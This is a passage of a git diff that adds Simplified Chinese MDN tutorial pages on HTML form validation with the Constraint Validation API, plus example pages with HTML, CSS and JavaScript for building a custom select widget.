href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLButtonElement">HTMLButtonElement</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLFieldSetElement">HTMLFieldSetElement</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement">HTMLInputElement</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLOutputElement">HTMLOutputElement</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLTextAreaElement">HTMLTextAreaElement</a></li> +</ul> + +<h4 id="约束校验的_API_及属性">约束校验的 API 及属性</h4> + +<table> + <thead> + <tr> + <th scope="col">属性</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>validationMessage</code></td> + <td>一个本地化消息,描述元素不满足校验条件时(如果有的话)的文本信息。如果元素无需校验(<code>willValidate</code> 为 <code>false</code>),或元素的值满足校验条件时,为空字符串。</td> + </tr> + <tr> + <td><code>validity</code></td> + <td>一个 {{domxref("ValidityState")}} 对象,描述元素的验证状态。详见有关可能的验证状态的文章。</td> + </tr> + <tr> + <td><code>validity.customError</code></td> + <td>如果元素设置了自定义错误,返回 <code>true</code> ;否则返回<code>false</code>。</td> + </tr> + <tr> + <td><code>validity.patternMismatch</code></td> + <td>如果元素的值不匹配所设置的正则表达式,返回 <code>true</code>,否则返回 <code>false</code>。<br> + <br> + 当此属性为 <code>true</code> 时,元素将命中 {{cssxref(":invalid")}} CSS 伪类。</td> + </tr> + <tr> + <td><code>validity.rangeOverflow</code></td> + <td>如果元素的值高于所设置的最大值,返回 <code>true</code>,否则返回 <code>false</code>。<br> + <br> + 当此属性为 <code>true</code> 时,元素将命中 {{cssxref(":invalid")}} CSS 伪类。</td> + </tr> + <tr> + <td><code>validity.rangeUnderflow</code></td> + <td>如果元素的值低于所设置的最小值,返回 <code>true</code>,否则返回 <code>false</code>。<br> + <br> + 当此属性为 <code>true</code> 时,元素将命中 {{cssxref(":invalid")}} CSS 伪类。</td> + </tr> + <tr> + <td><code>validity.stepMismatch</code></td> + <td>如果元素的值不符合 step 属性的规则,返回 <code>true</code>,否则返回 <code>false</code>。<br> + <br> + 当此属性为 <code>true</code> 时,元素将命中 {{cssxref(":invalid")}} CSS 伪类。</td> + </tr> + <tr> + <td><code>validity.tooLong</code></td> + <td>如果元素的值超过所设置的最大长度,返回 <code>true</code>,否则返回 <code>false</code>。<br> + <br> + 当此属性为 <code>true</code> 时,元素将命中 {{cssxref(":invalid")}} CSS 伪类。</td> + </tr> + <tr> + <td><code>validity.typeMismatch</code></td> + <td>如果元素的值出现语法错误,返回 <code>true</code>,否则返回 <code>false</code>。<br> + <br> + 当此属性为 <code>true</code> 时,元素将命中 {{cssxref(":invalid")}} CSS 伪类。</td> + </tr> + <tr> + <td><code>validity.valid</code></td> + <td>如果元素的值不存在校验问题,返回 <code>true</code>,否则返回 <code>false</code>。<br> + <br> + 当此属性为 <code>true</code> 时,元素将命中 {{cssxref(":valid")}} CSS 伪类,否则命中 {{cssxref(":invalid")}} CSS 伪类。</td> + </tr> + <tr> + <td><code>validity.valueMissing</code></td> + <td>如果元素设置了 required 属性且值为空,返回 <code>true</code>,否则返回 <code>false</code>。<br> + <br> + 当此属性为 true 时,元素将命中 {{cssxref(":invalid")}} CSS 伪类。</td> + </tr> + <tr> + <td><code>willValidate</code></td> + <td>如果元素在表单提交时将被校验,返回 <code>true</code>,否则返回 <code>false</code>。</td> + </tr> + </tbody> +</table> + +<h4 id="约束校验_API_的方法">约束校验 API 的方法</h4> + +<table> + <thead> + <tr> + <th scope="col">方法</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>checkValidity()</code></td> + <td>如果元素的值不存在校验问题,返回 <code>true</code>,否则返回 <code>false</code>。如果元素校验失败,此方法会触发{{event("invalid")}} 事件。</td> + </tr> + <tr> + <td>{{domxref("HTMLFormElement.reportValidity()")}}</td> + <td>如果元素或它的子元素控件符合校验的限制,返回 <code>true</code> . 当返回为 <code>false</code> 时, 对每个无效元素可撤销 {{event("invalid")}} 事件会被唤起并且校验错误会报告给用户 。</td> + </tr> + <tr> + <td> + <p><code>setCustomValidity(<em>message</em>)</code></p> + </td> + <td>为元素添加一个自定义的错误消息;如果设置了自定义错误消息,该元素被认为是无效的,则显示指定的错误。这允许你使用 JavaScript 代码来建立校验失败,而不是用标准约束校验 API 所提供的。这些自定义信息将在向用户报告错误时显示。<br> + <br> + 如果参数为空,则清空自定义错误。</td> + </tr> + </tbody> +</table> + +<p>对于旧版浏览器,可以使用 <a href="https://hyperform.js.org/" rel="external" title="https://hyperform.js.org/">polyfill(例如 Hyperform</a>),来弥补其对约束校验 API 支持的不足。既然你已经使用 JavaScript,在您的网站或 Web 应用程序的设计和实现中使用 polyfill 并不是累赘。</p> + +<h4 id="使用约束校验_API_的例子">使用约束校验 API 的例子</h4> + +<p>让我们看看如何使用这个 API 来构建自定义错误消息。首先,HTML:</p> + +<pre class="brush: html"><form novalidate> + <p> + <label for="mail"> + <span>Please enter an email address:</span> + <input type="email" id="mail" name="mail"> + <span class="error" aria-live="polite"></span> + </label> + </p> + <button>Submit</button> +</form></pre> + +<p>这个简单的表单使用 {{htmlattrxref("novalidate","form")}} 属性关闭浏览器的自动校验;这允许我们使用脚本控制表单校验。但是,这并不禁止对约束校验 API的支持或是以下 CSS 伪类:{{cssxref(":valid")}}、{{cssxref(":invalid")}}、{{cssxref(":in-range")}} 、{{cssxref(":out-of-range")}} 的应用。这意味着,即使浏览器在发送数据之前没有自动检查表单的有效性,您仍然可以自己做,并相应地设置表单的样式。</p> + +<p><a href="/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions" title="/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions"><code>aria-live</code></a> 属性确保我们的自定义错误信息将呈现给所有人,包括使用屏幕阅读器等辅助技术的人。</p> + +<h5 id="CSS">CSS</h5> + +<p>以下 CSS 样式使我们的表单和其错误输出看起来更有吸引力。</p> + +<pre class="brush: css">/* 仅为了使示例更好看 */ +body { + font: 1em sans-serif; + padding: 0; + margin : 0; +} + +form { + max-width: 200px; +} + +p * { + display: block; +} + +input[type=email]{ + -webkit-appearance: none; + + width: 100%; + border: 1px solid #333; + margin: 0; + + font-family: inherit; + font-size: 90%; + + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +/* 校验失败的元素样式 */ +input:invalid{ + border-color: #900; + background-color: #FDD; +} + +input:focus:invalid { + outline: none; +} + +/* 错误消息的样式 */ +.error { + width : 100%; + padding: 0; + + font-size: 80%; + color: white; + background-color: #900; + border-radius: 0 0 5px 5px; + + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +.error.active { + padding: 0.3em; +}</pre> + +<h5 id="JavaScript">JavaScript</h5> + +<p>以下 JavaScript 代码演示如何设置自定义错误校验。</p> + +<pre class="brush: js">// 有许多方式可以获取 DOM 节点;在此我们获取表单本身和 +// email 输入框,以及我们将放置错误信息的 span 元素。 + +var form = document.getElementsByTagName('form')[0]; +var email = document.getElementById('mail'); +var error = document.querySelector('.error'); + +email.addEventListener("input", function (event) { + // 当用户输入信息时,校验 email 字段 + if (email.validity.valid) { + // 如果校验通过,清除已显示的错误消息 + error.innerHTML = ""; // 重置消息的内容 + error.className = "error"; // 重置消息的显示状态 + } +}, false); +form.addEventListener("submit", function (event) { + // 当用户提交表单时,校验 email 字段 + if (!email.validity.valid) { + + // 如果校验失败,显示一个自定义错误 + error.innerHTML = "I expect an e-mail, darling!"; + error.className = "error active"; + // 还需要阻止表单提交事件,以取消数据传送 + event.preventDefault(); + } +}, false);</pre> + +<p>这是运行结果:</p> + +<p>{{EmbedLiveSample("使用校验约束_API_的例子", "100%", 130)}}</p> + +<p>约束校验 API 为您提供了一个强大的工具来处理表单校验,让您可以对用户界面进行远超过仅仅使用 HTML 和 CSS所能得到的控制。</p> + +<h3 id="不使用内建_API_时的表单校验">不使用内建 API 时的表单校验</h3> + +<p>有时,例如使用旧版浏览器或<a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">自定义小部件</a>,您将无法(或不希望)使用约束校验API。 在这种情况下,您仍然可以使用 JavaScript 来校验您的表单。 校验表单比起真实数据校验更像是一个用户界面问题。</p> + +<p>要校验表单,您必须问自己几个问题:</p> + +<dl> + <dt>我应该进行什么样的校验?</dt> + <dd>你需要确定如何校验你的数据:字符串操作,类型转换,正则表达式等。这取决于你。 只要记住,表单数据一般都是文本,并总是以字符串形式提供给脚本。</dd> + <dt>如果表单校验失败,我该怎么办?</dt> + <dd>这显然是一个 UI 问题。 您必须决定表单的行为方式:表单是否发送数据? 是否突出显示错误的字段?是否显示错误消息?</dd> + <dt>如何帮助用户纠正无效数据?</dt> + <dd>为了减少用户的挫折感,提供尽可能多的有用的信息是非常重要的,以便引导他们纠正他们的输入。 您应该提供前期建议,以便他们知道预期的输入是什么以及明确的错误消息。 如果您想深入了解表单校验用户界面要求,那么您应该阅读一些有用的文章: + <ul> + <li>SmashingMagazine: <a href="http://uxdesign.smashingmagazine.com/2012/06/27/form-field-validation-errors-only-approach/" rel="external" title="http://uxdesign.smashingmagazine.com/2012/06/27/form-field-validation-errors-only-approach/">Form-Field Validation: The Errors-Only Approach</a></li> + <li>SmashingMagazine: <a href="http://www.smashingmagazine.com/2009/07/07/web-form-validation-best-practices-and-tutorials/" rel="external" title="http://www.smashingmagazine.com/2009/07/07/web-form-validation-best-practices-and-tutorials/">Web Form Validation: Best Practices and Tutorials</a></li> + <li>Six Revision: <a href="http://sixrevisions.com/user-interface/best-practices-for-hints-and-validation-in-web-forms/" rel="external" title="http://sixrevisions.com/user-interface/best-practices-for-hints-and-validation-in-web-forms/">Best Practices for Hints and Validation in Web Forms</a></li> + <li>A List Apart: <a href="http://www.alistapart.com/articles/inline-validation-in-web-forms/" rel="external" title="http://www.alistapart.com/articles/inline-validation-in-web-forms/">Inline Validation in Web Forms</a></li> + </ul> + </dd> +</dl> + +<h4 id="不使用约束校验API_的例子">不使用约束校验API 的例子</h4> + +<p>为了说明这一点,让我们重构一下前面的例子,以便它可以在旧版浏览器中使用:</p> + +<pre class="brush: html"><form> + <p> + <label for="mail"> + <span>Please enter an email address:</span> + <input type="text" class="mail" id="mail" name="mail"> + <span class="error" aria-live="polite"></span> + </label> + <p> + <!-- Some legacy browsers need to have the `type` attribute + explicitly set to `submit` on the `button`element --> + <button type="submit">Submit</button> +</form></pre> + +<p>正如你所看到的,HTML 几乎是一样的;我们只是关闭了 HTML 校验功能。 请注意,<a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> 是与 HTML5 无关的独立规范。</p> + +<h5 id="CSS_2">CSS</h5> + +<p>同样的,CSS也不需要太多的改动, 我们只需将 {{cssxref(":invalid")}} 伪类变成真实的类,并避免使用不适用于 Internet Explorer 6 的属性选择器。</p> + +<pre class="brush: css">/* 仅为了使示例更好看 */ +body { + font: 1em sans-serif; + padding: 0; + margin : 0; +} + +form { + max-width: 200px; +} + +p * { + display: block; +} + +input.mail { + -webkit-appearance: none; + + width: 100%; + border: 1px solid #333; + margin: 0; + + font-family: inherit; + font-size: 90%; + + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +/* 校验失败的元素样式 */ +input.invalid{ + border-color: #900; + background-color: #FDD; +} + +input:focus.invalid { + outline: none; +} + +/* 错误消息的样式 */ +.error { + width : 100%; + padding: 0; + + font-size: 80%; + color: white; + background-color: #900; + border-radius: 0 0 5px 5px; + + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +.error.active { + padding: 0.3em; +}</pre> + +<h5 id="JavaScript_2">JavaScript</h5> + +<p>JavaScript 代码有很大的变化,需要做更多的工作。</p> + +<pre class="brush: js">// 使用旧版浏览器选择 DOM 节点的方法较少 +var form = document.getElementsByTagName('form')[0]; +var email = document.getElementById('mail'); + +// 以下是在 DOM 中访问下一个兄弟元素的技巧 +// 这比较危险,很容易引起无限循环 +// 在现代浏览器中,应该使用 element.nextElementSibling +var error = email; +while ((error = error.nextSibling).nodeType != 1); + +// 按照 HTML5 规范 +var emailRegExp = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/; + +// 许多旧版浏览器不支持 addEventListener 方法 +// 这只是其中一种简单的处理方法 +function addEvent(element, event, callback) { + var previousEventCallBack = element["on"+event]; + element["on"+event] = function (e) { + var output = callback(e); + + // 返回 `false` 来停止回调链,并中断事件的执行 + if (output === false) return false; + + if (typeof previousEventCallBack === 'function') { + output = previousEventCallBack(e); + if(output === false) return false; + } + } +}; + +// 现在我们可以重构字段的约束校验了 +// 由于不使用 CSS 伪类, 我们必须明确地设置 valid 或 invalid 类到 email 字段上 +addEvent(window, "load", function () { + // 在这里验证字段是否为空(请记住,该字段不是必需的) + // 如果非空,检查它的内容格式是不是合格的 e-mail 地址 + var test = email.value.length === 0 || emailRegExp.test(email.value); + + email.className = test ? "valid" : "invalid"; +}); + +// 处理用户输入事件 +addEvent(email, "input", function () { + var test = email.value.length === 0 || emailRegExp.test(email.value); + if (test) { + email.className = "valid"; + error.innerHTML = ""; + error.className = "error"; + } else { + email.className = "invalid"; + } +}); + +// 处理表单提交事件 +addEvent(form, "submit", function () { + var test = email.value.length === 0 || emailRegExp.test(email.value); + + if (!test) { + email.className = "invalid"; + error.innerHTML = "I expect an e-mail, darling!"; + error.className = "error active"; + + // 某些旧版浏览器不支持 event.preventDefault() 方法 + return false; + } else { + email.className = "valid"; + error.innerHTML = ""; + error.className = "error"; + } +});</pre> + +<p>该结果如下:</p> + +<p>{{EmbedLiveSample("不使用内建_API_时的表单校验", "100%", 130)}}</p> + +<p>正如你所看到的,建立自己的校验系统并不难。 困难的部分是使其足够通用,以跨平台和任何形式使用它可以创建。 有许多库可用于执行表单校验; 你应该毫不犹豫地使用它们。 这里有一些例子:</p> + +<ul> + <li>独立的库(原生 Javascript 实现): + <ul> + <li><a href="http://rickharrison.github.com/validate.js/" rel="external" title="http://rickharrison.github.com/validate.js/">Validate.js</a></li> + </ul> + </li> + <li>jQuery 插件: + <ul> + <li><a href="http://bassistance.de/jquery-plugins/jquery-plugin-validation/" rel="external" title="http://bassistance.de/jquery-plugins/jquery-plugin-validation/">Validation</a></li> + <li><a href="http://unwrongest.com/projects/valid8/" rel="external" title="http://unwrongest.com/projects/valid8/">Valid8</a><span style="display: none;"> </span></li> + </ul> + </li> +</ul> + +<h4 id="远程校验"> 远程校验</h4> + +<p>在某些情况下,执行一些远程校验可能很有用。 当用户输入的数据与存储在应用程序服务器端的附加数据绑定时,这种校验是必要的。 一个应用实例就是注册表单,在这里你需要一个用户名。 为了避免重复,执行一个 AJAX 请求来检查用户名的可用性,要比让先用户发送数据,然后因为表单重复了返回错误信息要好得多。</p> + +<p>执行这样的校验需要采取一些预防措施:</p> + +<ul> + <li>它要求公开 API 和一些数据;您需要确保它不是敏感数据。</li> + <li>网络滞后需要执行异步校验。这需要一些用户界面的工作,以确保如果校验没有适当的执行,用户不会被阻止。</li> +</ul> + +<h2 id="结论">结论</h2> + +<p>表单校验并不需要复杂的 JavaScript,但它需要对用户的仔细考虑。 一定要记住帮助您的用户更正他提供的数据。 为此,请务必:</p> + +<ul> + <li>显示明确的错误消息。</li> + <li>放宽输入格式限制。</li> + <li>指出错误发生的位置(特别是在大型表单中)。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/HTML/Forms/Sending_and_retrieving_form_data", "Learn/HTML/Forms/How_to_build_custom_form_widgets", "Learn/HTML/Forms")}}</p> diff --git a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_1/index.html b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_1/index.html new file mode 100644 index 0000000000..93cf5069c2 --- /dev/null +++ b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_1/index.html @@ -0,0 +1,418 @@ +--- +title: Example 1 +slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_1 +tags: + - HTML + - 表单 +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_1 +--- +<p>这是第一个<a href="/en-US/docs/Web/Guide/HTML/Forms/How_to_build_custom_form_widgets">如果构建自定义表单小部件</a>的代码解释事例。</p> + +<h2 id="Basic_state" name="Basic_state">基本状态</h2> + +<h3 id="Basic_state_HTML" name="Basic_state_HTML">HTML</h3> + +<pre class="brush: html"><div class="select"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> +</div></pre> + +<h3 id="Basic_state_CSS" name="Basic_state_CSS">CSS</h3> + +<pre class="brush: css">/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +} +</pre> + +<h3 id="基本状态结果">基本状态结果</h3> + +<div>{{ EmbedLiveSample('Basic_state', 120, 130) }}</div> + +<h2 id="Active_state" name="Active_state">活动状态</h2> + +<h3 id="Active_state_HTML" name="Active_state_HTML">HTML</h3> + +<pre class="brush:html"><div class="select active"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> +</div></pre> + +<h3 id="Active_state_CSS" name="Active_state_CSS">CSS</h3> + +<pre class="brush:css">/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<h3 id="活动状态结果">活动状态结果</h3> + +<div>{{ EmbedLiveSample('Active_state', 120, 130) }}</div> + +<h2 id="Open_state" name="Open_state">展开状态</h2> + +<h3 id="Open_state_HTML" name="Open_state_HTML">HTML</h3> + +<pre class="brush:html"><div class="select active"> + <span class="value">Cherry</span> + <ul class="optList"> + <li class="option highlight">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> +</div></pre> + +<h3 id="Open_state_CSS" name="Open_state_CSS">CSS</h3> + +<pre class="brush:css">/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0, 0, 0, .45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFF; +}</pre> + +<h3 id="展开状态结果">展开状态结果</h3> + +<div>{{ EmbedLiveSample('Open_state', 120, 130) }}</div> diff --git a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_2/index.html b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_2/index.html new file mode 100644 index 0000000000..3a9546631f --- /dev/null +++ b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_2/index.html @@ -0,0 +1,212 @@ +--- +title: Example 2 +slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_2 +tags: + - HTML + - 表单 +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_2 +--- +<p>这是解释 <a href="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">如何构建自定义表单小部件</a>的第二个示例。</p> + +<h2 id="JS" name="JS">使用JS</h2> + +<h3 id="HTML_内容">HTML 内容</h3> + +<pre class="brush: html"><form class="no-widget"> + <select name="myFruit"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + </div> +<form> +</pre> + +<h3 id="CSS_内容">CSS 内容</h3> + +<pre class="brush: css">.widget select, +.no-widget .select { + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +} + +/* --------------- */ +/* Required Styles */ +/* --------------- */ + +.select { + position: relative; + display : inline-block; +} + +.select.active, +.select:focus { + box-shadow: 0 0 3px 1px #227755; + outline: none; +} + +.select .optList { + position: absolute; + top : 100%; + left : 0; +} + +.select .optList.hidden { + max-height: 0; + visibility: hidden; +} + +/* ------------ */ +/* Fancy Styles */ +/* ------------ */ + +.select { + font-size : 0.625em; /* 10px */ + font-family : Verdana, Arial, sans-serif; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ + width : 10em; /* 100px */ + + border : 0.2em solid #000; /* 2px */ + border-radius : 0.4em; /* 4px */ + + box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ + + background : #F0F0F0; + background : -webkit-linear-gradient(90deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); + background : linear-gradient(0deg, #E3E3E3, #fcfcfc 50%, #f0f0f0); +} + +.select .value { + display : inline-block; + width : 100%; + overflow : hidden; + + white-space : nowrap; + text-overflow : ellipsis; + vertical-align: top; +} + +.select:after { + content : "▼"; + position: absolute; + z-index : 1; + height : 100%; + width : 2em; /* 20px */ + top : 0; + right : 0; + + padding-top : .1em; + + -moz-box-sizing : border-box; + box-sizing : border-box; + + text-align : center; + + border-left : .2em solid #000; + border-radius: 0 .1em .1em 0; + + background-color : #000; + color : #FFF; +} + +.select .optList { + z-index : 2; + + list-style: none; + margin : 0; + padding: 0; + + background: #f0f0f0; + border: .2em solid #000; + border-top-width : .1em; + border-radius: 0 0 .4em .4em; + + box-shadow: 0 .2em .4em rgba(0,0,0,.4); + + -moz-box-sizing : border-box; + box-sizing : border-box; + + min-width : 100%; + max-height: 10em; /* 100px */ + overflow-y: auto; + overflow-x: hidden; +} + +.select .option { + padding: .2em .3em; +} + +.select .highlight { + background: #000; + color: #FFFFFF; +}</pre> + +<h3 id="JavaScript_内容">JavaScript 内容</h3> + +<pre class="brush: js">window.addEventListener("load", function () { + var form = document.querySelector('form'); + + form.classList.remove("no-widget"); + form.classList.add("widget"); +});</pre> + +<h3 id="使用JS的结果">使用JS的结果</h3> + +<p>{{ EmbedLiveSample('JS', 120, 130) }}</p> + +<h2 id="No_JS" name="No_JS">不使用JS</h2> + +<h3 id="HTML_内容_2">HTML 内容</h3> + +<pre class="brush: html"><form class="no-widget"> + <select name="myFruit"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> + <li class="option">Banana</li> + <li class="option">Strawberry</li> + <li class="option">Apple</li> + </ul> + </div> +<form></pre> + +<h3 id="CSS_内容_2">CSS 内容</h3> + +<pre class="brush: css">.widget select, +.no-widget .select { + position : absolute; + left : -5000em; + height : 0; + overflow : hidden; +}</pre> + +<h3 id="不使用JS的结果">不使用JS的结果</h3> + +<p>{{ EmbedLiveSample('No_JS', 120, 130) }}</p> diff --git a/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_3/index.html b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_3/index.html new file mode 100644 index 0000000000..a4a58880e4 --- /dev/null +++ b/files/zh-cn/learn/html/forms/how_to_build_custom_form_widgets/example_3/index.html @@ -0,0 +1,246 @@ +--- +title: Example 3 +slug: Learn/HTML/Forms/How_to_build_custom_form_widgets/Example_3 +tags: + - HTML + - 表单 +translation_of: Learn/Forms/How_to_build_custom_form_controls/Example_3 +--- +<p>这是解释 <a href="https://developer.mozilla.org/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets" title="/en-US/docs/HTML/Forms/How_to_build_custom_form_widgets">如何构建自定义表单小部件</a> 的第三个示例。</p> + +<h2 id="Change_states" name="Change_states">Change states</h2> + +<h3 id="HTML_内容">HTML 内容</h3> + +<pre class="brush: html"><form class="no-widget"> + <select name="myFruit" tabindex="-1"> + <option>Cherry</option> + <option>Lemon</option> + <option>Banana</option> + <option>Strawberry</option> + <option>Apple</option> + </select> + + <div class="select" tabindex="0"> + <span class="value">Cherry</span> + <ul class="optList hidden"> + <li class="option">Cherry</li> + <li class="option">Lemon</li> 